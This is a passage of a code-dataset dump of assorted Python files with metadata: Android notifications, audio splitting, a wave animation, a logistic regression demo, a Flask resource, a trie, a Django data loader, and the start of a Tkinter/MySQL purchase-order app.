{"api_name": "rbac.server.api.utils.get_request_block", "line_number": 19, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 19, "usage_type": "name"}, {"api_name": "rbac.server.api.utils.get_request_paging_info", "line_number": 20, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 20, "usage_type": "name"}, {"api_name": "rbac.server.db.tasks_query.fetch_all_task_resources", "line_number": 21, "usage_type": "call"}, {"api_name": "rbac.server.db.tasks_query", "line_number": 21, "usage_type": "name"}, {"api_name": "rbac.server.api.utils.create_response", "line_number": 24, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 24, "usage_type": "name"}, {"api_name": "rbac.server.api.auth.authorized", "line_number": 16, "usage_type": "call"}, {"api_name": "rbac.server.api.utils.validate_fields", "line_number": 39, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 39, "usage_type": "name"}, {"api_name": "rbac.server.api.utils.get_transactor_key", "line_number": 41, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 41, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 42, "usage_type": "call"}, {"api_name": "rbac.common.task.Task", "line_number": 43, "usage_type": "call"}, {"api_name": "rbac.server.api.utils.send", "line_number": 52, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 52, "usage_type": "name"}, {"api_name": "rbac.server.api.auth.authorized", "line_number": 35, "usage_type": "call"}, {"api_name": "rbac.server.api.utils.get_request_block", "line_number": 62, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 62, "usage_type": "name"}, {"api_name": "rbac.server.db.tasks_query.fetch_task_resource", "line_number": 63, "usage_type": "call"}, {"api_name": "rbac.server.db.tasks_query", "line_number": 63, "usage_type": "name"}, {"api_name": "rbac.server.api.utils.create_response", "line_number": 66, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 66, "usage_type": "name"}, {"api_name": "rbac.server.api.auth.authorized", "line_number": 59, "usage_type": "call"}, {"api_name": "rbac.server.api.utils.validate_fields", "line_number": 76, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 76, "usage_type": "name"}, {"api_name": "rbac.server.api.utils.get_transactor_key", "line_number": 78, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 78, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 79, "usage_type": "call"}, {"api_name": "rbac.server.db.relationships_query.fetch_relationships", "line_number": 80, "usage_type": "call"}, {"api_name": "rbac.common.task.Task", "line_number": 83, "usage_type": "call"}, {"api_name": "rbac.server.api.utils.send", "line_number": 93, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 93, "usage_type": "name"}, {"api_name": "sanic.response.json", "line_number": 96, "usage_type": "call"}, {"api_name": "rbac.server.api.auth.authorized", "line_number": 72, "usage_type": "call"}, {"api_name": "rbac.server.api.utils.validate_fields", "line_number": 104, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 104, "usage_type": "name"}, {"api_name": "rbac.server.api.utils.get_transactor_key", "line_number": 106, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 106, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 107, "usage_type": "call"}, {"api_name": "rbac.server.db.relationships_query.fetch_relationships", "line_number": 108, "usage_type": "call"}, {"api_name": "rbac.common.task.Task", "line_number": 111, "usage_type": "call"}, {"api_name": "rbac.server.api.utils.send", "line_number": 121, "usage_type": "call"}, {"api_name": "rbac.server.api.utils", "line_number": 121, "usage_type": "name"}, {"api_name": "sanic.response.json", "line_number": 124, "usage_type": "call"}, {"api_name": "rbac.server.api.auth.authorized", "line_number": 100, "usage_type": "call"}, {"api_name": "sanic.response.json", "line_number": 141, "usage_type": "call"}]}
{"seq_id": "8493230177", "text": "from re import A\nfrom android import python_act\nfrom android.runnable import run_on_ui_thread\nfrom jnius import autoclass, cast\n\nfrom android_api import activity, SDK_INT\n\nAndroidString = autoclass('java.lang.String')\nContext = autoclass('android.content.Context')\nNotificationBuilder = autoclass('android.app.Notification$Builder')\nNotificationManager = autoclass('android.app.NotificationManager')\nDrawable = autoclass(\"{}.R$mipmap\".format(activity.getPackageName()))\nPendingIntent = autoclass('android.app.PendingIntent')\nIntent = autoclass('android.content.Intent')\nToast = autoclass('android.widget.Toast')\nBitmapFactory = autoclass('android.graphics.BitmapFactory')\n\n\nclass AndroidNotification():\n\n\tdef __init__(self):\n\t\tself._ns = None\n\t\tself._channel_id = activity.getPackageName()\n\n\tdef _get_notification_service(self):\n\t\tif not self._ns:\n\t\t\tself._ns = cast(NotificationManager, activity.getSystemService(\n\t\t\t\tContext.NOTIFICATION_SERVICE\n\t\t\t))\n\t\treturn self._ns\n\n\tdef _build_notification_channel(self, name):\n\n\t\tif SDK_INT < 26:\n\t\t\treturn\n\t\tchannel = autoclass('android.app.NotificationChannel')\n\t\tapp_channel = channel(\n\t\t\tself._channel_id, name, NotificationManager.IMPORTANCE_DEFAULT\n\t\t)\n\t\tself._get_notification_service().createNotificationChannel(\n\t\t\tapp_channel\n\t\t)\n\t\treturn app_channel\n\n\t@run_on_ui_thread\n\tdef _toast(self, message):\n\t\tToast.makeText(\n\t\t\tactivity,\n\t\t\tcast('java.lang.CharSequence', AndroidString(message)),\n\t\t\tToast.LENGTH_LONG\n\t\t).show()\n\n\t@staticmethod\n\tdef _set_icons(notification, icon=None):\n\t\tapp_icon = Drawable.icon\n\t\tnotification.setSmallIcon(app_icon)\n\n\t\tbitmap_icon = app_icon\n\t\tif icon is not None:\n\t\t\tbitmap_icon = BitmapFactory.decodeFile(icon)\n\t\t\tnotification.setLargeIcon(bitmap_icon)\n\t\telif icon == '':\n\t\t\t# we don't want the big icon set,\n\t\t\t# only the small one in the top panel\n\t\t\tpass\n\t\telse:\n\t\t\tbitmap_icon = BitmapFactory.decodeResource(\n\t\t\t\tpython_act.getResources(), app_icon\n\t\t\t)\n\t\t\tnotification.setLargeIcon(bitmap_icon)\n\n\tdef _build_notification(self, title):\n\t\tif SDK_INT < 26:\n\t\t\tnoti = NotificationBuilder(activity)\n\t\telse:\n\t\t\tself._channel = self._build_notification_channel(title)\n\t\t\tnoti = NotificationBuilder(activity, self._channel_id)\n\t\treturn noti\n\n\t@staticmethod\n\tdef _set_open_behavior(notification):\n\t\tapp_context = activity.getApplication().getApplicationContext()\n\t\tnotification_intent = Intent(app_context, python_act)\n\t\tnotification_intent.setFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)\n\t\tnotification_intent.setAction(Intent.ACTION_MAIN)\n\t\tnotification_intent.addCategory(Intent.CATEGORY_LAUNCHER)\n\n\t\tpending_intent = PendingIntent.getActivity(\n\t\t\tapp_context, 0, notification_intent, 0\n\t\t)\n\t\tnotification.setContentIntent(pending_intent)\n\t\tnotification.setAutoCancel(True)\n\n\tdef _open_notification(self, notification):\n\t\tif SDK_INT >= 16:\n\t\t\tnotification = notification.build()\n\t\telse:\n\t\t\tnotification = notification.getNotification()\n\n\t\tself._get_notification_service().notify(0, notification)\n\n\tdef _notify(self, **kwargs):\n\t\tnoti = None\n\t\tmessage = kwargs.get('message').encode('utf-8')\n\t\tticker = kwargs.get('ticker').encode('utf-8')\n\t\ttitle = AndroidString(\n\t\t\tkwargs.get('title', '').encode('utf-8')\n\t\t)\n\t\ticon = kwargs.get('app_icon')\n\t\tif kwargs.get('toast'):\n\t\t\tself._toast(message)\n\t\t\treturn\n\t\telse:\n\t\t\tnoti = self._build_notification(title)\n\n\t\tnoti.setContentTitle(title)\n\t\tnoti.setContentText(AndroidString(message))\n\t\tnoti.setTicker(AndroidString(ticker))\n\t\tself._set_icons(noti, icon=icon)\n\t\tself._set_open_behavior(noti)\n\n\t\tself._open_notification(noti)\n\n\ndef instance():\n\treturn AndroidNotification()\n\ndef notify(title='', message='', app_icon='', app_name='', timeout=10, ticker='', toast=False):\n\tmy_notification = AndroidNotification()\n\tmy_notification._notify(title=title, message=message,\n\t\tapp_icon=app_icon, app_name=app_name,\n\t\ttimeout=timeout, ticker=ticker, toast=toast)", "repo_name": "tde-nico/Houseki", "sub_path": "android_api/notification.py", "file_name": "notification.py", "file_ext": "py", "file_size_in_byte": 3872, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "jnius.autoclass", "line_number": 8, "usage_type": "call"}, {"api_name": "jnius.autoclass", "line_number": 9, "usage_type": "call"}, {"api_name": "jnius.autoclass", "line_number": 10, "usage_type": "call"}, {"api_name": "jnius.autoclass", "line_number": 11, "usage_type": "call"}, {"api_name": "jnius.autoclass", "line_number": 12, "usage_type": "call"}, {"api_name": "android_api.activity.getPackageName", "line_number": 12, "usage_type": "call"}, {"api_name": "android_api.activity", "line_number": 12, "usage_type": "name"}, {"api_name": "jnius.autoclass", "line_number": 13, "usage_type": "call"}, {"api_name": "jnius.autoclass", "line_number": 14, "usage_type": "call"}, {"api_name": "jnius.autoclass", "line_number": 15, "usage_type": "call"}, {"api_name": "jnius.autoclass", "line_number": 16, "usage_type": "call"}, {"api_name": "android_api.activity.getPackageName", "line_number": 23, "usage_type": "call"}, {"api_name": "android_api.activity", "line_number": 23, "usage_type": "name"}, {"api_name": "jnius.cast", "line_number": 27, "usage_type": "call"}, {"api_name": "android_api.activity.getSystemService", "line_number": 27, "usage_type": "call"}, {"api_name": "android_api.activity", "line_number": 27, "usage_type": "name"}, {"api_name": "android_api.SDK_INT", "line_number": 34, "usage_type": "name"}, {"api_name": "jnius.autoclass", "line_number": 36, "usage_type": "call"}, {"api_name": "android_api.activity", "line_number": 48, "usage_type": "argument"}, {"api_name": "jnius.cast", "line_number": 49, "usage_type": "call"}, {"api_name": "android.runnable.run_on_ui_thread", "line_number": 45, "usage_type": "name"}, {"api_name": "android.python_act.getResources", "line_number": 68, "usage_type": "call"}, {"api_name": "android.python_act", "line_number": 68, "usage_type": "name"}, {"api_name": "android_api.SDK_INT", "line_number": 73, "usage_type": "name"}, {"api_name": "android_api.activity", "line_number": 74, "usage_type": "argument"}, {"api_name": "android_api.activity", "line_number": 77, "usage_type": "argument"}, {"api_name": "android_api.activity.getApplication", "line_number": 82, "usage_type": "call"}, {"api_name": "android_api.activity", "line_number": 82, "usage_type": "name"}, {"api_name": "android.python_act", "line_number": 83, "usage_type": "argument"}, {"api_name": "android_api.SDK_INT", "line_number": 95, "usage_type": "name"}]}
{"seq_id": "14335221544", "text": "import os\nfrom pydub import AudioSegment\nimport threading\n\ngenres = 'blues classical country disco hiphop metal pop reggae rock'\ngenres = genres.split()\n\n\nclass myThread(threading.Thread):\n    def __init__(self, genre):\n        threading.Thread.__init__(self)\n        self.genre = genre\n\n    def run(self):\n        print(\"Started \" + self.genre)\n        split_files(self.genre)\n        print(\"Finished \" + self.genre)\n\n\ndef split_files(g):\n    j = 0\n    for filename in os.listdir(os.path.join('Z:/Egyetem/önlab2_msc/raw_audio/yt_dataset_2', f\"{g}\")):\n        song = os.path.join(f'Z:/Egyetem/önlab2_msc/raw_audio/yt_dataset_2/{g}', f'{filename}')\n        j = j + 1\n        for w in range(0, 1000):\n            t1 = 3 * (w) * 1000\n            t2 = t1 + 6000\n            new_audio = AudioSegment.from_wav(song)\n            new = new_audio[t1:t2]\n            new.export(f'Z:/Egyetem/önlab2_msc/splitted_audiofiles/audio6sec_overlap3s_yt_dataset2/{g}/{g + str(j) + str(w)}.wav',\n                       format=\"wav\")\n\n\nthreads = []\nfor g in genres:\n    threads.append(myThread(g))\n\nfor t in threads:\n    t.start()\n", "repo_name": "Modko42/urbansound_classifier", "sub_path": "dipterv1/helper_scripts/splitter.py", "file_name": "splitter.py", "file_ext": "py", "file_size_in_byte": 1113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "threading.Thread", "line_number": 9, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 11, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pydub.AudioSegment.from_wav", "line_number": 28, "usage_type": "call"}, {"api_name": "pydub.AudioSegment", "line_number": 28, "usage_type": "name"}]}
{"seq_id": "73867572701", "text": "import numpy as np\r\nimport qoplots.qoplots as qoplots\r\nqoplots.init(\"rose_pine\", doc_type = \"presentation\")\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.animation import FuncAnimation\r\nimport time\r\nfrom fractions import Fraction as Frac\r\n\r\ndef wave(idx, w, x_max, x):\r\n    x_local = x + x_max * idx\r\n    if idx % 2 == 1:\r\n        x_local = x_local[::-1]\r\n    y = np.sin(2 * np.pi * x_local / w) * (-1) ** (idx)\r\n    return y\r\n\r\ncolor = qoplots.Scheme.accents[0].base.css\r\nfig = plt.figure()\r\nfig.set_size_inches(8, 4.5)\r\nax = plt.Axes(fig, [0., 0., 1., 1.])\r\nax.set_axis_off()\r\nfig.add_axes(ax)\r\nax.set_xlim(0, 1)\r\nax.set_ylim(-4, 4)\r\n\r\nN_data = 2\r\nN_show = 2\r\nmax_frames = 2000\r\n\r\nplt.axhline(1, color = qoplots.Scheme.foreground[3].css, ls = \"--\")\r\nplt.axhline(-1, color = qoplots.Scheme.foreground[3].css, ls = \"--\")\r\n\r\nlines = [None] * N_show\r\ntotal = None \r\nx_max = 1\r\nx = np.linspace(0, x_max, 300)\r\na = 1 / (8 * np.pi)\r\nf = 20 * np.pi\r\nt = np.linspace(0, 1, max_frames // 2)\r\nws = 1/(a * (t * f - np.sin(t * f)) + 0.5)\r\nws = np.concatenate((ws, ws[::-1]))\r\ny = np.zeros((N_data, len(x)))\r\nfor i in range(N_data):\r\n    y[i] = wave(i, ws[0], x_max, x)\r\n    if i < N_show:\r\n        lines[i], = plt.plot(x, y[i] + 1, color = color, lw = 1, alpha = (1-i/N_show), ls = \"solid\" if i == 0 else \":\")\r\n\r\ny_total = np.sum(y, axis = 0)\r\n# normalise\r\ny_total = y_total / N_data\r\ntotal, = plt.plot(x, y_total - 1, lw = 2, alpha = 1, ls = \"solid\", color = qoplots.Scheme.accents[1].base.css)\r\n\r\ntextlambda = plt.text(0.825, 2.5, \"$\\lambda =$\", color = qoplots.Scheme.accents[4].base.css, ha = \"right\", va = \"center\", fontsize = 20)\r\ntext = plt.text(0.9, 2.5, \"$2L$\", color = qoplots.Scheme.accents[4].base.css, ha = \"right\", va = \"center\", fontsize = 20)\r\n\r\ndef update(frame):\r\n\r\n    # return to the start of the line after printing\r\n    def bar(f, max_f, width = 50):\r\n        completed = int(f / max_f * width)\r\n        return f\"[{'=' * completed}{' ' * (width - completed)}]\"\r\n    def format_time(remaining):\r\n        if remaining < 60:\r\n            return f\"{remaining:.2f}s\"\r\n        elif remaining < 3600:\r\n            return f\"{remaining / 60:.0f}:{remaining % 60:0>2.0f}\"\r\n        else:\r\n            return f\"{remaining / 3600:.2f}h\"\r\n\r\n    current_time = time.time()\r\n    elapsed_time = current_time - start_time\r\n    remaining_time = elapsed_time / (frame + 1) * (max_frames - frame - 1)\r\n    print(f\"Frame: {frame: >3d} / {max_frames} {bar(frame, max_frames)} ({frame / max_frames * 100:.2f}%, {format_time(remaining_time)})\", end = \"\\x1b[0G\", flush = True)\r\n    \r\n\r\n    w = ws[frame]\r\n    frac = Frac(w).limit_denominator(300)\r\n    if frac.denominator == 1:\r\n        text.set_text(f\"${frac.numerator if frac.numerator != 1 else ''}L$\")\r\n    else:\r\n        text.set_text(f\"$\\\\frac{{{frac.numerator}}}{{{frac.denominator}}}L$\")\r\n\r\n    y = np.zeros((N_data, len(x)))\r\n    for i in range(N_data):\r\n        y[i] = wave(i, w, x_max, x)\r\n        if i < N_show:\r\n            lines[i].set_data(x, y[i] + 1)\r\n\r\n    y_total = np.sum(y, axis = 0)\r\n    # normalise\r\n    y_total = y_total / N_data\r\n    total.set_data(x, y_total - 1)\r\n\r\nstart_time = time.time()\r\nanim = FuncAnimation(fig, update, frames=np.arange(0, max_frames), interval=20)\r\nanim.save('animation.mp4', fps=30, dpi = 400)\r\n", "repo_name": "pbrookeschambers/Outreach", "sub_path": "activities/Sound/animations/wavelength/wavelength.py", "file_name": "wavelength.py", "file_ext": "py", "file_size_in_byte": 3286, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "qoplots.qoplots.init", "line_number": 3, "usage_type": "call"}, {"api_name": "qoplots.qoplots", "line_number": 3, "usage_type": "name"}, {"api_name": "numpy.sin", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 13, "usage_type": "attribute"}, {"api_name": "qoplots.qoplots.Scheme", "line_number": 16, "usage_type": "attribute"}, {"api_name": "qoplots.qoplots", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Axes", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "qoplots.qoplots.Scheme", "line_number": 29, "usage_type": "attribute"}, {"api_name": "qoplots.qoplots", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "qoplots.qoplots.Scheme", "line_number": 30, "usage_type": "attribute"}, {"api_name": "qoplots.qoplots", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "qoplots.qoplots.Scheme", "line_number": 50, "usage_type": "attribute"}, {"api_name": "qoplots.qoplots", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "qoplots.qoplots.Scheme", "line_number": 52, "usage_type": "attribute"}, {"api_name": "qoplots.qoplots", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "qoplots.qoplots.Scheme", "line_number": 53, "usage_type": "attribute"}, {"api_name": "qoplots.qoplots", "line_number": 53, "usage_type": "name"}, {"api_name": "time.time", "line_number": 69, "usage_type": "call"}, {"api_name": "fractions.Fraction", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 88, "usage_type": "call"}, {"api_name": "time.time", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 94, "usage_type": "call"}]}
{"seq_id": "26687478339", "text": "\"\"\"\r\nAuthor: Rambod Azimi\r\nThis Python code will make use of numpy and scikit-learn libraries to implement and utilize the Logistic Regression\r\nmachine learning algorithm.\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom sklearn.linear_model import LogisticRegression\r\n\r\n# defining our training set examples\r\nX_train = np.array([[0.5, 1.5], [1, 1], [1.5, 0.5], [3, 0.5], [2, 2], [1, 2.5]]) # 6 training examples with 2 features\r\ny_train = np.array([0, 0, 0, 1, 1, 1]) # targets\r\n\r\nlogistic_regression_model = LogisticRegression()\r\nlogistic_regression_model.fit(X_train, y_train) # fit the model on the training data by caliing fit function\r\n\r\nprediction = logistic_regression_model.predict(X_train)\r\n\r\nfor i in range(X_train.shape[0]):\r\n    print(f\"Prediction value: {prediction[i]} \\t Actual value: {y_train[i]}\")\r\n\r\nprint(f\"Accuracy of the model: {logistic_regression_model.score(X_train, y_train)* 100}%\")", "repo_name": "rambodazimi/Logistic-Regression", "sub_path": "Logistic Regression scikit-learn.py", "file_name": "Logistic Regression scikit-learn.py", "file_ext": "py", "file_size_in_byte": 892, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "numpy.array", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "7175025274", "text": "from flask import request\nfrom flask_restful import Resource\nfrom app.models import db, Customers, CustomersSchema\n\ncustomers_schema = CustomersSchema(many=True)\ncustomer_schema = CustomersSchema()\n\nclass CustomersResource(Resource):\n    def get(self):\n        key = request.args.get('key')\n\n        if key:\n            customers = Customers.query.filter(Customers.type==key).all()\n        else:\n            customers = Customers.query.all()\n\n        customers = customers_schema.dump(customers).data\n        return {'status': 'success', 'message': customers[0]['values']}, 200", "repo_name": "uvinod/flask-web-api", "sub_path": "app/resources/Customers.py", "file_name": "Customers.py", "file_ext": "py", "file_size_in_byte": 577, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "app.models.CustomersSchema", "line_number": 5, "usage_type": "call"}, {"api_name": "app.models.CustomersSchema", "line_number": 6, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 8, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 10, "usage_type": "name"}, {"api_name": "app.models.Customers.query.filter", "line_number": 13, "usage_type": "call"}, {"api_name": "app.models.Customers.query", "line_number": 13, "usage_type": "attribute"}, {"api_name": "app.models.Customers", "line_number": 13, "usage_type": "name"}, {"api_name": "app.models.Customers.type", "line_number": 13, "usage_type": "attribute"}, {"api_name": "app.models.Customers.query.all", "line_number": 15, "usage_type": "call"}, {"api_name": "app.models.Customers.query", "line_number": 15, "usage_type": "attribute"}, {"api_name": "app.models.Customers", "line_number": 15, "usage_type": "name"}]}
{"seq_id": "7030039771", "text": "# Construct a Trie from a Collection of Patterns\nimport itertools as it\nimport sys\n\nfrom collections import defaultdict\n\n\nclass Trie:\n    def __init__(self, patterns):\n        self._node_id_generator = it.count()\n        self._root = next(self._node_id_generator)\n        self._adjacency_list = self._build_trie_from_patterns(patterns)\n\n    def edges(self):\n        for node, neighbours in self._adjacency_list.items():\n            for neighbour, label in neighbours:\n                yield f'{node}->{neighbour}:{label}'\n\n    def _build_trie_from_patterns(self, patterns):\n        adjacency_list = defaultdict(list)\n        for pattern in patterns:\n            self._add_pattern_to_trie(adjacency_list, pattern)\n        return dict(adjacency_list)\n\n    def _add_pattern_to_trie(self, adjacency_list, pattern):\n        current_node = self._root\n        for letter in pattern:\n            node = _get_neighbour_with_given_label(adjacency_list, current_node, letter)\n            if node is None:\n                next_node = next(self._node_id_generator)\n                adjacency_list[current_node].append((next_node, letter))\n                current_node = next_node\n            else:\n                current_node = node\n\n\ndef _get_neighbour_with_given_label(adjacency_list, current_node, letter):\n    neighbours = adjacency_list.get(current_node, [])\n    for node, label in neighbours:\n        if label == letter:\n            return node\n    return None\n\n\ndef main():\n    patterns = sys.stdin.read().splitlines()\n    trie = Trie(patterns)\n    for edge in trie.edges():\n        print(edge)\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "ghostrider77/BioinformaticsProblems", "sub_path": "Python/textbook_track/chapter09/ba9a.py", "file_name": "ba9a.py", "file_ext": "py", "file_size_in_byte": 1628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "itertools.count", "line_number": 10, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.stdin.read", "line_number": 46, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 46, "usage_type": "attribute"}]}
{"seq_id": "34933611574", "text": "import logging\nimport pandas as pd\n\nfrom django.core.management.base import BaseCommand\n\nfrom stk.models import Station\n\nlogger = logging.getLogger(__name__)\n\n\nclass Command(BaseCommand):\n\n    def add_arguments(self, parser):\n        parser.add_argument('input_path', type=str, nargs=1)\n\n    def handle(self, *args, **options):\n        df = pd.read_excel(options['input_path'][0])\n        for col in df.columns:\n            df[col] = df[col].astype(str)\n\n        for i, row in df.iterrows():\n            Station.objects.create(\n                stk_id=row['STK č.'].replace('.', '').strip(),\n                authorization=row['Opravnenia'].strip(),\n                zip_code=row['PSČ'].strip(),\n                city=row['Město'].strip(),\n                address=row['Ulice'].strip(),\n                operator=row['Provozovatel STK'].strip(),\n                tel_number=row['Telefon'].strip(),\n                email=row['E-mail'].strip(),\n                region=row['Kraj'].strip()\n            )\n", "repo_name": "napmn/technical-inspections", "sub_path": "stk/management/commands/load_stations.py", "file_name": "load_stations.py", "file_ext": "py", "file_size_in_byte": 996, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "django.core.management.base.BaseCommand", "line_number": 11, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 17, "usage_type": "call"}, {"api_name": "stk.models.Station.objects.create", "line_number": 22, "usage_type": "call"}, {"api_name": "stk.models.Station.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "stk.models.Station", "line_number": 22, "usage_type": "name"}]}
{"seq_id": "32039830537", "text": "from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import filedialog\r\nfrom tkinter import messagebox \r\nfrom tkcalendar import *\r\nfrom datetime import datetime\r\nfrom PIL import ImageTk, Image\r\nfrom mysql import *\r\nimport mysql.connector\r\nimport csv\r\nimport re \r\nfrom fpdf import FPDF\r\nimport ConnConfig\r\nimport Login\r\n\r\n#additional modules\r\nfrom xerogui.app import *\r\nfrom xero_python.accounting.models import PurchaseOrder,PurchaseOrders,LineItem,LineAmountTypes,CurrencyCode\r\nfrom xero_python.api_client.serializer import serialize\r\nfrom xero_python import models\r\nimport time\r\nfrom AutoCombo import AutocompleteCombobox\r\nfrom POemail import EmailPOWindow as IssuePO\r\n\r\nimport requests\r\nimport CountryRef\r\nimport os\r\n\r\n# Login.AUTHLVL\r\n\r\nlogininfo = (ConnConfig.host,ConnConfig.username,ConnConfig.password)\r\nLOCKEDUSER = Login.LOCKEDUSER\r\nif Login.AUTHLVL == 0:\r\n    pass\r\nelse:\r\n    RetrieveToken()\r\n\r\ndef openPurchase():\r\n    RepWin = Toplevel()\r\n    RepWin.iconbitmap(\"MWA_Icon.ico\")\r\n    RepWin.title(\"Generate Purchase Order\")\r\n    RepWin.state(\"zoomed\")\r\n    RepWin.columnconfigure(0, weight=1)\r\n    RepWin.rowconfigure(0, weight=1)\r\n\r\n    tabNoteRep = ttk.Notebook(RepWin)\r\n    tabNoteRep.grid(row=0, column=0, sticky=\"NSEW\")\r\n    \r\n    frameRep = Frame(tabNoteRep)\r\n    tabNoteRep.add(frameRep, text=\"Purchase Order Selection\")\r\n    \r\n    frameRep.columnconfigure(0, weight=1)\r\n\r\n    connInit = mysql.connector.connect(host = logininfo[0],\r\n                                       user = logininfo[1], \r\n                                       password =logininfo[2])\r\n\r\n    SetupCommand = [\"\"\"CREATE SCHEMA IF NOT EXISTS `PUR_ORDER_MASTER` \r\n                    DEFAULT CHARACTER SET utf8mb4 \r\n                    COLLATE utf8mb4_0900_ai_ci\"\"\",\r\n                    \r\n                    \"\"\"\r\n                    CREATE TABLE IF NOT EXISTS `PUR_ORDER_MASTER`.`PUR_ORDER_LIST`\r\n                    (`oid` INT AUTO_INCREMENT PRIMARY KEY,\r\n                     `PurOrderNum` VARCHAR(20),\r\n                     `PaymentTerm` VARCHAR(255),\r\n                     `OrderDate` DATE,\r\n                     `VendorRemark` VARCHAR(100),\r\n                     `TransCcy` VARCHAR(10),\r\n                     `TransExRate` FLOAT,\r\n                     `ProgressStat` INT DEFAULT 0,\r\n                     `ApproveStat` INT DEFAULT 0,\r\n                     `IssueStat` INT DEFAULT 0,\r\n                     `OrderStat` INT DEFAULT 0,\r\n                     `TotalSGD` FLOAT)\r\n                    \r\n                    ENGINE = InnoDB\r\n                    DEFAULT CHARACTER SET = utf8mb4\r\n                    COLLATE = utf8mb4_0900_ai_ci\"\"\",\r\n                    \r\n                    \"\"\"CREATE SCHEMA IF NOT EXISTS `COMPANY_INFO` \r\n                    DEFAULT CHARACTER SET utf8mb4 \r\n                    COLLATE 